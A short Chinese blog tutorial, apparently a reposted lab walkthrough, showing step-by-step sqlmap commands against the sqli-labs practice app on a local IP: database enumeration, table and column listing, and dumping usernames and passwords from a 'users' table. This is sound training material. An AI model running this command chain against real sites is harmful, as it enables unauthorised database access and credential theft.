sqlmap实战注入步骤——超详细_sqlmap注入实战

作者：盐析白兔 | 2024-04-19 19:27:16

踩

sqlmap注入实战

sqlmap实战注入步骤

测试环境：
系统—>winxp
目标—>sqli—labs
IP—>192.168.1.106

在这里插入图片描述
输入？id=1，内容出现变化，存在sql注入

打开sqlmap，输入sqlmap.py -u http://192.168.1.106/sqli-labs-master/Less-2/index.php?id=1 --dbs查看所有数据库

找到很多数据库，查找security数据库中的数据表，sqlmap.py -u http://192.168.1.106/sqli-labs-master/Less-2/index.php?id=1 -D security -tables

在这里插入图片描述
看到熟悉的users表了，我们进一步查看表中有哪些列，sqlmap.py -u http://192.168.1.106/sqli-labs-master/Less-2/index.php?id=1 -D security -T users --columns

表中有我们想要的数据，进一步查看数据，sqlmap.py -u http://192.168.1.106/sqli-labs-master/Less-2/index.php?id=1 -D security -T users -C id,password,username --dump
在这里插入图片描述
NICE！

在这里插入图片描述

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/盐析白兔/article/detail/453311